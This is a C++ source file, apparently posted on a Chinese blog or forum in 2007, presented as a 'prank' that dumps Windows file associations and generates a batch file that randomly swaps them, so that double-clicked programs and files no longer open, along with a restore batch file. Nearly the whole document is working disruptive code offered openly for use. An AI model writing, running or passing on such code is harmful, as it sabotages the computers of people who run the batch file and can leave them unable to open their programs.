/*************************************************************\
恶作剧程序 :产生破坏 Windows 的文件关联的 .bat 文件,导致
所有程序不能通过鼠标双击加载。双击产生的 .bat
文件即可生效 .....
只因为无聊 ^_^ 同时还产生恢复程序所以不必担心 ^_^
Author: 江南孤峰 TIME:2007--7--5
\**************************************************************/
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
using namespace std;
typedef struct DATA{
DATA(string ext, string ass,bool use=false):
strFileExt(ext),strAssoc(ass),use(false){}
string strFileExt;
string strAssoc;
bool use;
}DATA_TYPE;
int main(){
system("assoc>source.txt");
ofstream fileDestory("破坏.bat");
ofstream fileReset("恢复.bat");
ifstream in("source.txt");
if(fileDestory.fail()||fileReset.fail()|in.fail()){
cout<<"File error !"<<endl;
system("pause");
exit(1);
}
vector<DATA_TYPE> myVect;
char buf[256],*p;
while(true){
in.getline(buf,256);
if(in.eof())
break;
if(*(p=strchr(buf,'=')+1)=='\0')
continue;
fileReset<<"assoc "<<buf<<endl;
*(p-1) = '\0';
if(!stricmp(buf,".bat"))
continue;
myVect.push_back(DATA(string(buf),string(p)));
}
in.close();
fileReset.close();
for(int i=0; true; i++){
if(myVect[i].use==true)
continue;
if(i+1>=myVect.size()){
fileDestory<<"assoc "<<myVect[i].strFileExt<<"="<<myVect[i-2].strAssoc<<endl;
break;
}
int t=rand()%myVect.size();
while(myVect[t].use==true)
t = t+1==myVect.size() ? i+1 : t+1 ;
fileDestory<<"assoc "<<myVect[i].strFileExt<<"="<<myVect[t].strAssoc<<endl;
fileDestory<<"assoc "<<myVect[t].strFileExt<<"="<<myVect[i].strAssoc<<endl;
myVect[i].use = myVect[t].use = true;
i++;
}
fileDestory.close();
cout<<"Create file success !"<<endl;
system("pause");
return 0;
}
评论